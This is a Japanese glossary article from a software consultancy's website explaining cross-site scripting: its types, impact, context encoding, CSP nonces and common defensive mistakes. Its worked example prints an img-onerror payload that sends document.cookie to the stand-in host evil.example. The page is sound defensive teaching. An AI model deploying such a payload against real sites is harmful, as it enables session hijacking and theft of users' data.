Engineer

クロスサイトスクリプティング

信頼できない入力をページへ埋め込み、サイト自身のコードとして実行させる攻撃

どのようなものか

クロスサイトスクリプティングは、ほぼ常にXSSと略します。ウェブサイトが、ほかの人から受け取ったテキストを、別の人に配信するページへ埋め込む際に無害化できず、ブラウザーがその一部をコードとして読み、実行する攻撃です。Common Weakness Enumerationは、これをCWE-79として登録しています。項目名も、ほぼ同じ内容を表しています。ウェブページの生成中に、入力を無害化しないという弱点を指します。攻撃者は、サイトのコードを書き換えません。データを渡すだけで、サイト自身が、自分のページ内で、自分の利用者へスクリプトを届けます。

入り口は三つあり、CWEの項目とOWASPの両方が説明しています。反射型XSSは、非永続型、またはType 1とも呼びます。攻撃用のデータを、通常はURLパラメーターとしてリクエストに載せ、サーバーが応答へコピーします。検索結果ページ、エラーメッセージなど、送られた内容を繰り返す場所が対象です。被害者を細工したリンクへ誘導する必要があるため、CWEの項目も、こうしたリンクを、多くのフィッシングの中心に位置付けています。格納型XSSは、永続型、またはType 2とも呼びます。攻撃用のデータを、コメント、掲示板への投稿、プロフィール欄、ログメッセージなどへ先に保存し、後でその記録を見る人すべてに対して実行します。DOMベースのXSS、Type 0では、サーバーが攻撃用のデータを一度も見ない場合さえあります。ページ自身のJavaScriptが、URLの `#` より後の部分など、攻撃者が制御するものを読み、ブラウザーがマークアップとして解析する形で文書へ書き込みます。

この名前は、現在の問題をうまく表していません。OWASPも、対策のチートシートで、実態に合わない名称としています。初期の、サイトをまたいでデータを盗む攻撃に由来する名前ですが、現在は、二つ目のサイトが関係するかどうかを問わず、ほぼどのようなコンテンツでもページへ注入する行為を含みます。略称にも歴史があります。CWEの項目によると、初期には頭文字を取った三文字の略称が一般的でしたが、Cascading Style Sheetsと衝突するため、使われなくなりました。

OWASPは、XSSをSQLインジェクションと同じ仲間の、インジェクションの一種に分類します。どちらも、データが境界を越え、命令として読まれる場所へ入ります。SQLインジェクションではデータベースが実行するSQL、ここではページのマークアップ、属性値、JavaScriptが、その場所です。対策も同じ構造です。値を配置する時点で、データをデータのまま保てば、インタープリターが実行できる攻撃者の命令は残りません。

概念を判断に生かす

「クロスサイトスクリプティングとは？」を実際の判断に生かしましょう。その概念を、開発または購入するシステムに結び付けて考えるお手伝いをします。 アカウント、パスワード、権限を整理し、業務に必要なアクセスだけを付与し、退職者の権限は当日に解除します。

サービスを見る お問い合わせ →

用語の背後にある前提を検証する

解説とリンク先の実績を参考に、プロジェクトについての質問を整理してください。ツールを選ぶ前に、前提を一緒に検討できます。 Linuxサーバーを守る1,000件のRBACルールを作成 — 1,000 セキュリティ上の穴を塞ぐアクセスルール

Linuxサーバーを守る1,000件のRBACルールを作成 お問い合わせ →

なぜ重要なのか

スクリプトは、サイト自身のものとして動きます。ブラウザーは、そのテキストがどこから来たかを記録しません。サイトのオリジンから配信されたページとして扱い、そのオリジンに認めるすべての権限をスクリプトに与えます。OWASPは、一文で問題を説明しています。ブラウザーには、「そのスクリプトを信用すべきでないと知る方法がない」のです。CWEの項目は、その結果を示しています。あるサイトのスクリプトが別のサイトへ手を伸ばすのを防ぐ、同一オリジンポリシーの意図が損なわれます。

そのスクリプトは、利用者ができることなら何でもできます。CWE-79は、最も一般的な攻撃として、セッションデータなど、Cookie内の非公開情報の窃取を挙げ、被害者がサイトの管理者権限を持つ場合は、特に危険だと注意しています。OWASPの一覧は、さらに長いものです。アカウントへのなりすまし、利用者の行動の監視、外部コンテンツの読み込み、機密データの窃取、ページ自体の書き換えを挙げています。ログメッセージに格納するXSSは、まさにそうした被害者へ到達する、典型的な経路です。CWEの項目も例に使っています。ログを読む人は管理者であることが多く、ログ閲覧ツールが、悪意ある入力を適切に扱わない場合があるためです。

これは、今もマークアップを手書きしているチームだけでなく、すべてのウェブ開発チームに関わります。現代のフレームワークによって、XSSは減りました。OWASPは、テンプレートと自動エスケープの効果としています。それでも、どのフレームワークにも、開発者がマークアップを直接挿入したい場合のために、

保護を迂回する機能があります。OWASPは、そこを、今も問題の起きる場所として挙げています。同じチートシートは、一つの技術だけではXSSを解決できず、組み合わせが必要だとも明言しています。以降の説明も、この考え方に従います。まず、挿入先に合うエンコードを行い、その後ろにほかの防御層を置きます。

実際の活用例

検索語を表示し直す店舗の検索ページを考えます。`https://shop.example/search?q=lamp` では、`Results: lamp` と表示します。サーバーは、パラメーターをページのテンプレートへ貼り付けて、この行を作ります。攻撃者は、`q` が次の値であるリンクを、被害者へ送ります。

```
<img src=x onerror="fetch('//evil.example/'+document.cookie)">
```

サーバーがいつもどおり貼り付けると、被害者のブラウザーには、次の内容が届きます。

```
<p>Results: <img src=x onerror="fetch('//evil.example/'+document.cookie)"></p>
```

`x` は画像ではないため、画像の読み込みに失敗します。ブラウザーは `onerror` ハンドラーを実行し、利用者のCookieを攻撃者のサーバーへ送ります。コードがあるのは、`<script>` 要素ではなく、属性です。これは典型的な形であり、OWASP自身の攻撃例も、画像の `onerror` 属性を同じように使います。

対策は、値が入る場所に合うエンコードです。HTML本文のテキストなら、五つの文字 `&` 、`<` 、`>` 、`"` 、`'` を、`&` 、`<` 、`>` 、`"` 、`'` へ変えます。同じ攻撃用のデータも、`<img src=x onerror="...">` として届けば、ブラウザーはテキストとして表示し、タグとして解析しません。自動エスケープするフレームワークは、これを代行します。代わりに文字列を手作業で組み立てる場所で、穴が開きます。

DOMベースの場合、サーバーが送るのは静的ページだけです。ページ自身のスクリプトが `q` を読み、見出しへ書き込みます。

```
const heading = document.querySelector("h1");
const q = new URLSearchParams(location.search).get("q");
heading.innerHTML = `Results for ${q}`; // qをHTMLとして解析する
heading.textContent = `Results for ${q}`; // qをテキストとして表示する
```

`innerHTML` の行は、攻撃者のマークアップをHTMLパーサーへ渡すため、先ほどと同じように `onerror` ハンドラーが動きます。HTML標準によると、この方法で挿入した `<script>` 要素は、一切実行されません。攻撃用のデータが、代わりにイベントハンドラーの属性を使うのは、そのためです。 `textContent` の行は、テキストノードを作り、何も解析しません。同じ値も、無害な文字として表示します。OWASPのDOM XSSチートシートは、このような安全な出力先を選ぶことを、最もよい対策としています。一般のチートシートも、 `innerHTML` の代わりに `textContent` を使う実装へ改めるよう勧めています。

エンコードの後ろには、第二の防御層があります。nonceを指定するContent Security Policyは、その値を持つスクリプトだけを実行するようブラウザーへ伝えます。現行のW3C草案は、サーバーがポリシーを送るたびに新しいnonceを生成することを必須とし、暗号学的に安全な乱数生成器による128ビット以上の値を推奨しています。注入された `<script>` にはnonceがありません。先ほどの `onerror` のようなインラインのハンドラーも拒否します。ハンドラーを許可できるのは、 `'unsafe-inline'` か `'unsafe-hashes'` だけであり、nonceは `'unsafe-inline'` を無効にするためです。草案は、 `script-src 'strict-dynamic' 'nonce-{RANDOM}'` と `base-uri 'self'` の組み合わせを、有効で、実際に導入できるXSS対策として挙げています。Chromium系のブラウザーでは、 `require-trusted-types-for 'script'` でさらに進み、 `innerHTML` などの出力先に、通常の文字列を拒否させられます。それでも、OWASPは、ポリシーは間違えやすいと注意し、主要な対策ではなく、追加の防御層に位置付けています。

職業や組織に関するデータを持つプラットフォームでは、Next.jsのミドルウェアが、HSTSやSameSite Cookieとともに、リクエストごとのnonceとstrict-dynamicを使う、このようなポリシーを設定します。ブラウザーが何を実行し、送信できるかを厳しく制限するためです。同じページは、単一の制御に依存しないよう、防御を多層化した構成を説明しています。サーバー側の認可はクライアント側の検証から独立して機能するよう設計し、画面をアクセス判断の根拠にしていません。

問題が起きるところ

挿入先に合わないエンコードを行います。 HTMLの文字参照によるエンコードは、タグの間のテキストには適していますが、ほかの場所では不十分です。OWASPは、文脈ごとに規則を示しています。URLパラメーター内の値なら、`%HH` 形式のパーセントエンコードを行います。属性内の値なら、属性用にエンコードし、引用符で囲みます。エンコードが守るのは、文字列を置く場所だけで、その後の使い方ではありません。`eval()` へ渡す値は、それまで何をしていても危険です。各値の挿入先を把握し、その場所に合うフレームワークのエンコーダーを使います。

属性値を引用符で囲みません。 引用符のない属性値は、空白で終わります。そのため、空白を追加できる攻撃者は、自分の属性も追加できます。`onmouseover=` だけで十分です。属性値は必ず引用符で囲み、フレームワークの属性用エンコーダーを使います。

イベントハンドラーの属性内に、利用者のデータを入れます。 属性用のエンコードでは、`onclick` などのJavaScriptを保護できません。スクリプトを実行する前に、HTMLパーサーが文字参照をデコードするためです。`addEventListener()` でハンドラーを登録し、利用者の値はデータとして渡します。

フレームワークの保護を迂回する機能へ、生の入力を渡します。 Reactの `dangerouslySetInnerHTML` 、Angularの `bypassSecurityTrustAs*` 関数、Litの `unsafeHTML` は、いずれも自動エスケープを無効にします。本当に利用者がマークアップを書く必要がある場合は、OWASPが勧めるDOMPurifyなどのサニタイザーへ通します。その後に結果を書き換えてはいけません。新しい迂回方法が見つかり続けるため、ライブラリーの修正パッチも適用し続けます。

リンクに `javascript:` URLを入れます。 プロフィールのウェブサイト欄に、`javascript:` とそれに続くコードがあれば、無害に見えるリンクがスクリプトへ変わります。React 19は、`src` と `href` でそのようなURLを遮断しますが、OWASPは、アプリケーション自身のURL検証の代わりにはならないとしています。`https:` など、その欄で本当に必要なスキームだけを許可し、残りは拒否します。

入力検証やWAFを、解決策だと考えます。 検証は役立ちますが、自由記述のテキストから、危険な文字をすべて取り除くことはできません。CWEの項目が挙げる例は、ハートの顔文字 `<3` です。チャットアプリケーションの検証では、通す可能性が高い一方、`<` を含んでいます。ウェブアプリケーションファイアウォールは、既知の攻撃文字列に一致するかを調べます。新しい迂回方法は見逃し、

ブラウザー内だけで起きるDOMベースのXSSは、一度も見ません。OWASPも、XSS防止のためには勧めていません。出力をエンコードし、どちらも追加の防御層として扱います。

HttpOnlyを、根本的な解決策だと考えます。 セッションCookieにHttpOnlyを付けると、`document.cookie`から読めなくなり、最も一般的な攻撃用のデータの効果を弱めます。それでも、スクリプトは動き続け、ページ内から利用者になり代わって操作できます。CWEの項目は、HttpOnlyだけでは完全な解決にならないとし、OWASPも、Cookieの属性は実行を防がず、影響を抑えるものだとしています。設定するとともに、注入される問題を直します。

JSONをHTMLとして配信します。 利用者のデータを`Content-Type: text/html`で返すエンドポイントは、ブラウザーがページとして解析する状況を作ります。OWASPの規則は、JSONを`application/json`で送っているか確認することです。そのような応答には、毎回、明示的にヘッダーを設定します。

ポリシーを主要な防御と考えます。 応答をまたいでnonceを使い回すこと、`base-uri`がないこと、一つのウィジェットを動かすために`'unsafe-inline'`を加えることは、いずれも、気付かないままポリシーを無効にしかねません。まずエンコードし、すり抜けたものをポリシーで捕らえます。

参考資料

- Common Weakness EnumerationのCWE-79 — 弱点の登録項目です。三つの種類、結果、緩和策とその限界を説明します。
- OWASPクロスサイトスクリプティング防止チートシート — 挿入先ごとのエンコード、フレームワークの保護を迂回する機能、サニタイズ、その後ろの防御層を説明します。
- OWASP DOMベースXSS防止チートシート — ブラウザー内の安全な出力先と危険な出力先を、実例で説明します。
- OWASP：クロスサイトスクリプティング（XSS） — 攻撃者側からの説明と、攻撃用のデータの例です。
- HTML標準：スクリプト処理 — 挿入したマークアップを含め、`script`要素がいつ、どのように動くかを説明します。
- Content Security Policy Level 3 — nonce、`'strict-dynamic'`、草案が推奨する厳格なポリシーを説明します。

用語集

実際の制約に合わせて選ぶ

デプロイの流れ、運用上のリスク、緊急対応の担当者をお知らせください。検査、復旧手段、明確な責任の所在を伴う変更の範囲を定められます。

料金を見る お問い合わせ →

用語を実務に結び付ける

「クロスサイトスクリプティングとは？」がお客様の組織にどう当てはまるかをご相談ください。現在のシステムの具体例が一つあれば、話を始められます。

サービスを見る

welcome@engineer.company +45 50 10 61 84 デンマーク、コペンハーゲン

このページを持ち歩く

連絡先カード

心を込めて丁寧に制作： D.

CVR 45969703 · Tagensvej 105C, 3. th, 2200 København N

著作権 © 2025 – 現在 · Engineer ApS · すべての権利を留保します。

印刷元： https://engineer.company/ja/glossary/cross-site-scripting/